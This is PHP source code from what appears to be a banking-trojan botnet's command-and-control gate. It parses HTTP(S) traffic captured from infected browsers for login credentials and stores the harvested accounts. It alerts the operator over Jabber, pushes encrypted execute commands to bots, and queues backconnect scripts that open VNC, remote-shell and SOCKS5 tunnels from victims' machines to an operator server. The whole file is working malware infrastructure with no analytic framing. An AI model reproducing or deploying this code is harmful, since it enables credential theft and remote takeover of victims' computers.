/** Parse accounts
 * 0. Only BLT_HTTP_REQUEST & BLT_HTTPS_REQUEST against $list[SBCID_BOTLOG_TYPE]
 * 1. If Match URL masks against $list[SBCID_PATH_SOURCE]
 * 2. If Match params mask against $list[SBCID_BOTLOG]
 * 3. Store into the DB (no dups)
 * 4. Autoconnect VNC|SOCKS when set
 * 5. Jabber-notify if configured
 */
function accparseplugin_parselog($list, $botId)
{
    /* Only for HTTP[S] */
    $type = toInt($list[SBCID_BOTLOG_TYPE]);
    if ($type != BLT_HTTP_REQUEST && $type != BLT_HTTPS_REQUEST) {
        return;
    }
    /* Match the URL */
    $matched_rule = null;
    $R = mysql_query('SELECT * FROM `accparse_rules` WHERE `enabled`=1 ORDER BY NULL;');
    while ($R && !is_bool($r = mysql_fetch_assoc($R))) {
        $wildcart = '~^' . str_replace('\\*', '.*', preg_quote(trim($r['url']), '~')) . '$~i';
        if (preg_match($wildcart, $list[SBCID_PATH_SOURCE])) {
            $matched_rule = $r;
            mysql_free_result($R);
            break;
        }
    }
    if (is_null($matched_rule)) {
        return;
    }
    GateLog::get()->log(GateLog::L_TRACE, 'plugin.accparse', 'Rule matched: ' . $matched_rule['alias']);
    /* Match the params */
    $matched_params = array();
    foreach (explode("\n", $matched_rule['params']) as $param) {
        $param = rtrim(trim($param), '=');
        $wildcart = '~^(' . str_replace('\\*', '.*', preg_quote($param, '~')) . ')=(.+)$~ium';
        if (preg_match_all($wildcart, $list[SBCID_BOTLOG], $matches, PREG_SET_ORDER)) {
            foreach ($matches as $m) {
                $matched_params[urldecode($m[1])] = urldecode($m[2]);
            }
        }
    }
    if (count($matched_params) == 0) {
        return;
    }
    GateLog::get()->log(GateLog::L_TRACE, 'plugin.accparse', 'Rule params also matched: ' . count($matched_params));
    /* String-format */
    $matched_account = '';
    asort($matched_params);
    foreach ($matched_params as $k => $v) {
        $matched_account .= "{$k}={$v}\n";
    }
    /* Store */
    $q_botId = mysql_real_escape_string($botId);
    $q_bot_info = mysql_real_escape_string(implode("\n", array(basename($list[SBCID_PROCESS_NAME]))));
    $q_ruleid = $matched_rule['id'];
    $q_account = mysql_real_escape_string($matched_account);
    $q_acc_hash = md5(implode($matched_params));
    $q_mtime = time();
    mysql_query("INSERT INTO `accparse_accounts` VALUES(NULL, '{$q_botId}', '{$q_bot_info}', {$q_ruleid}, '{$q_account}', '{$q_acc_hash}', {$q_mtime}, 0, '') ON DUPLICATE KEY UPDATE `mtime`={$q_mtime};");
    /* Dupecheck */
    $affected = mysql_affected_rows();
    $duplicate_account = $affected == 2;
    # INSERT gives 1, UPDATE gives 2. This magic should work :)
    GateLog::get()->log(GateLog::L_TRACE, 'plugin.accparse', 'Account ' . ($duplicate_account ? 'updated' : 'added'));
    /* Autoconnect option */
    if ($matched_rule['autoconnect']) {
        if (function_exists('vncplugin_autoconnect')) {
            $q_protocol = $matched_rule['autoconnect'];
            GateLog::get()->log(GateLog::L_TRACE, 'plugin.accparse', 'Account backconnect: protocol=' . $q_protocol);
            mysql_query("INSERT INTO `vnc_bot_connections` VALUES('{$q_botId}', {$q_protocol}, 1, 0, 0, 0) ON DUPLICATE KEY UPDATE `protocol`={$q_protocol}, `ctime`=0, `do_connect`=IF(`do_connect`=0,1,`do_connect`);");
            vncplugin_autoconnect($botId);
        }
    }
    /* Notify */
    if ($duplicate_account) {
        return;
    }
    # do nothing else
    if ($matched_rule['notify'] && !empty($GLOBALS['config']['accparse_jid'])) {
        $message = sprintf("Account-Parser match: %s (URL: %s)\n", $matched_rule['alias'], $matched_rule['url']);
        $message .= sprintf("BotID: %s\n", $botId);
        $message .= sprintf("Browser: %s\n", $list[SBCID_PROCESS_NAME]);
        $message .= sprintf("URL: %s\n", $list[SBCID_PATH_SOURCE]);
        $message .= "\n";
        $message .= strlen($matched_account) > 100 ? substr($matched_account, 0, 100) . "\n...(see in the admin)" : $matched_account;
        GateLog::get()->log(GateLog::L_TRACE, 'plugin.accparse', 'Jabber notify: ' . $GLOBALS['config']['accparse_jid']);
        jabber_notify($GLOBALS['config']['accparse_jid'], $message);
    }
}
function imNotify(&$type, &$list, &$botId, $defloration = false, $wentOnline = false)
{
    if (empty($GLOBALS['config']['reports_jn_to'])) {
        return;
    }
    $messages = array();
    # Notify of new matching BotIDs
    if ($defloration) {
        $ml = explode("", $GLOBALS['config']['reports_jn_botmasks']);
        foreach ($ml as $mask) {
            if (@preg_match('#^' . str_replace('\\*', '.*', preg_quote($mask, '#')) . '$#i', $botId) > 0) {
                $messages[] = "Reason: botId matched\nBot ID: {$botId}\n";
                break;
            }
        }
    }
    # Notify of matching BotIDs went online
    if ($wentOnline) {
        $ml = explode("", $GLOBALS['config']['reports_jn_masks']['wentOnline']);
        foreach ($ml as $mask) {
            if (@preg_match('#^' . str_replace('\\*', '.*', preg_quote($mask, '#')) . '$#i', $botId) > 0) {
                $messages[] = "Reason: botId is online\nBot ID: {$botId}\n";
                break;
            }
        }
    }
    # Notify of matching report URLs
    if (($type == BLT_HTTP_REQUEST || $type == BLT_HTTPS_REQUEST) && !empty($list[SBCID_PATH_SOURCE])) {
        $ml = explode("", $GLOBALS['config']['reports_jn_list']);
        foreach ($ml as $mask) {
            if (@preg_match('#^' . str_replace('\\*', '.*', preg_quote($mask, '#')) . '$#i', $list[SBCID_PATH_SOURCE]) > 0) {
                $messages[] = "Reason: URL matched\nBot ID: {$botId}\nURL: " . $list[SBCID_PATH_SOURCE] . "\n\n" . substr($list[SBCID_BOTLOG], 0, 1024);
                break;
            }
        }
    }
    # Notify of matching report contexts by type
    # NOTE: these reports are not presented in full! Only some lines around the keyword
    if (!empty($list[SBCID_BOTLOG])) {
        $report_match = array(BLT_ANALYTICS_SOFTWARE => array('software', 'Software matched'), BLT_COMMANDLINE_RESULT => array('cmd', 'Command line result matched'));
        foreach ($report_match as $rm_type => $rm) {
            if ($type == $rm_type) {
                $ml = explode("", $GLOBALS['config']['reports_jn_masks'][$rm[0]]);
                $reason = $rm[1];
                foreach (array_filter(array_map('trim', $ml), 'strlen') as $mask) {
                    if (@preg_match('#' . str_replace('\\*', '.*', preg_quote($mask, '#')) . '#i', $list[SBCID_BOTLOG], $m, PREG_OFFSET_CAPTURE) > 0) {
                        # Extract a few lines around the match
                        $surrounding_lines = 2;
                        $match_pos = $m[0][1];
                        # offset of the match
                        $n_pos = array(0);
                        # array of \n offsets
                        $p = 0;
                        # current offset
                        $p_past_npos = false;
                        # are we past the match?
                        while (FALSE !== ($p = strpos($list[SBCID_BOTLOG], "\n", $p))) {
                            # all \n-s
                            $n_pos[] = $p;
                            # add it
                            if ($p > $match_pos) {
                                $p_past_npos = true;
                            }
                            if (!$p_past_npos && count($n_pos) > $surrounding_lines + 1) {
                                # don't keep more than N \n-s
                                array_shift($n_pos);
                            }
                            if ($p_past_npos && count($n_pos) >= ($surrounding_lines + 1) * 2) {
                                # stop a few lines past the match
                                break;
                            }
                            $p++;
                        }
                        $p_from = array_shift($n_pos);
                        $p_till = array_pop($n_pos);
                        $message_part = trim(substr($list[SBCID_BOTLOG], $p_from, $p_till - $p_from));
                        $messages[] = "Reason: {$reason}\nBot ID: {$botId}\n\n" . $message_part;
                        break;
                    }
                }
            }
        }
    }
    # Notify
    if (empty($messages)) {
        return;
    }
    foreach ($messages as $message) {
        GateLog::get()->log(GateLog::L_TRACE, 'Jabber', sprintf("Notify %s : %s", $GLOBALS['config']['reports_jn_to'], $message));
    }
    jabber_notify($GLOBALS['config']['reports_jn_to'], $messages);
    # Execute scripts, if set
    global $country_allowed;
    if ($country_allowed && strlen($GLOBALS['config']['reports_jn_script']) > 0) {
        $eid = md5(microtime(), true);
        $script = 'user_execute "' . trim($GLOBALS['config']['reports_jn_script']) . '" -f';
        $size = strlen($eid) + strlen($script);
        $replyData = pack('LLLL', 1, 0, $size, $size) . $eid . $script;
        $replyData = pack('LLLLLLLL', mt_rand(), mt_rand(), mt_rand(), mt_rand(), mt_rand(), HEADER_SIZE + strlen($replyData), 0, 1) . md5($replyData, true) . $replyData;
        visualEncrypt($replyData);
        rc4($replyData, $GLOBALS['globalKey']);
        echo $replyData;
        die;
    }
}
/** Bot backconnect.
 * @param string	$botid	The bot ID to backconnect to (when have such a task)
 */
function vncplugin_autoconnect($botid)
{
    if (empty($GLOBALS['config']['vnc_server'])) {
        return;
    }
    # Check whether we have some connection tasks
    $q_time_threshold = time() - VNC_RECONNECT_THRESHOLD;
    # don't reconnect too fast
    $q_botId = mysql_real_escape_string($botid);
    $R = mysql_query("SELECT * FROM `vnc_bot_connections` WHERE `bot_id`='{$q_botId}' AND `do_connect`<>0 AND (`ctime`<={$q_time_threshold} OR `do_connect` IN (-2,2) );");
    if (!$R || mysql_num_rows($R) == 0) {
        return;
    }
    $connect = mysql_fetch_assoc($R);
    GateLog::get()->log(GateLog::L_TRACE, 'plugin.vnc', "Connecting to the bot. Protocol={$connect['protocol']}, do={$connect['do_connect']}");
    # Generate the IP:PORT pairs
    if (empty($connect['my_port'])) {
        $connect['my_port'] = rand(10000, 20000 - 1);
    }
    if (empty($connect['bot_ipport'])) {
        $connect['bot_port'] = rand(20000, 40000);
    }
    # Connect data
    $c_vnc_server = $GLOBALS['config']['vnc_server'];
    $c_botid = urlencode($botid);
    $c_my_port = $connect['my_port'];
    $c_bot_port = $connect['bot_port'];
    # Reserve the port pair
    $context = stream_context_create(array('http' => array('header' => 'Connection: close', 'timeout' => 10)));
    $vnc_url = "http://{$c_vnc_server}/test.php?p1={$c_my_port}&p2={$c_bot_port}&b={$c_botid}";
    if (FALSE === file_get_contents($vnc_url, 0, $context)) {
        return trigger_error("VNC-server connection failed: {$vnc_url}");
    }
    # Add a script
    require_once 'system/lib/shortcuts.php';
    $q_script_name = '?';
    $q_script = "???";
    $q_connection_name = '?';
    switch ($connect['protocol']) {
        case 1:
            $q_connection_name = 'VNC';
            $q_script = "bot_bc_add vnc {$c_vnc_server} {$c_bot_port}";
            $q_script_name = 'backconnect:VNC:';
            break;
        case 2:
            $q_connection_name = 'CMD';
            $q_script = "bot_bc_add shell {$c_vnc_server} {$c_bot_port}";
            $q_script_name = 'backconnect:CMD:';
            break;
        case 5:
            $q_connection_name = 'SOCKS5';
            $q_script = "bot_bc_add socks {$c_vnc_server} {$c_bot_port}";
            $q_script_name = 'backconnect:SOCKS:';
            break;
    }
    $q_script_name .= round(microtime(true) * 100);
    if (!add_simple_script($botid, $q_script_name, $q_script)) {
        return trigger_error("Error inserting {$q_connection_name} script: " . mysql_error(), E_USER_WARNING);
    }
    # Update connection info
    GateLog::get()->log(GateLog::L_DEBUG, 'plugin.vnc', "Backconnect script '{$q_script_name}' added: my={$c_vnc_server}:{$c_my_port}, bot={$c_vnc_server}:{$c_bot_port}, script={$q_script}");
    if ($connect['do_connect'] >= 1) {
        $connect['do_connect'] = 0;
    }
    # one shot
    if ($connect['do_connect'] == -2) {
        $connect['do_connect'] = -1;
    }
    # restore 'autoconnect' state
    $q_ctime = time();
    if (!mysql_query("UPDATE `vnc_bot_connections` SET `ctime`={$q_ctime}, `my_port`={$c_my_port}, `bot_port` = {$c_bot_port}, `do_connect`={$connect['do_connect']} WHERE `bot_id`='{$q_botId}';")) {
        return trigger_error('Error updating VNC connections: ' . mysql_error(), E_USER_WARNING);
    }
    # Notify
    if (!empty($GLOBALS['config']['vnc_notify_jid'])) {
        $R = mysql_query('SELECT `comment` FROM `botnet_list` WHERE `bot_id`="' . mysql_real_escape_string($botid) . '" AND `comment`<>"";');
        if (mysql_num_rows($R)) {
            $row = mysql_fetch_row($R);
            $comment = array_shift($row);
        }
        GateLog::get()->log(GateLog::L_TRACE, 'plugin.vnc', "Jabber notify: " . $GLOBALS['config']['vnc_notify_jid']);
        $message = sprintf("New %s connection established\nBotID: %s %s\n\nConnect to: %s:%s\n", $q_connection_name, $botid, $comment ? "({$comment})" : '', $c_vnc_server, $c_my_port);
        jabber_notify($GLOBALS['config']['vnc_notify_jid'], $message);
    }
}
/** Handle an incoming script execution report.
 * When EID starts with GP_WEBINJECTS_SCRIPT_EID, the execution report belongs to us and we handle it.
 * When handled, return `true` and it won't proceed to the generic script execution handler
 * @param string $botId
 * @param string $eid
 * @param bool $success
 * @param string $result
 * @return bool
 */
function gate_plugin_webinjects_onscript($botId, $eid, $success, $result)
{
    if (strncmp($eid, GP_WEBINJECTS_SCRIPT_EID, strlen(GP_WEBINJECTS_SCRIPT_EID)) !== 0) {
        return false;
    }
    # Log
    GateLog::get()->log(GateLog::L_INFO, 'plugin.webinjects', sprintf("Webinjects load script report: success=%s, result=%s", $success, $result));
    # Log the execution history
    $q = 'UPDATE `botnet_webinjects_history` ' . 'SET `etime`=' . time() . ', `exec_count`=COALESCE(`exec_count`,0)+1, `exec_error`=' . ($success ? 'NULL' : '"' . mysql_real_escape_string($result) . '"') . ' ' . 'WHERE `botId`="' . mysql_real_escape_string($botId) . '" ' . ';';
    if (!mysql_query($q)) {
        return trigger_error('Error saving the webinjects execution history: ' . mysql_error(), E_USER_WARNING);
    }
    return true;
}
/** die() and log where and why.
 * Also flushes the logs.
 * @return never :)
 */
function gate_die($place, $reason, $levelshift = 1)
{
    GateLog::get()->log(GateLog::L_DEBUG, $place, "die({$reason})", $levelshift);
    GateLog::get()->flush();
    die;
}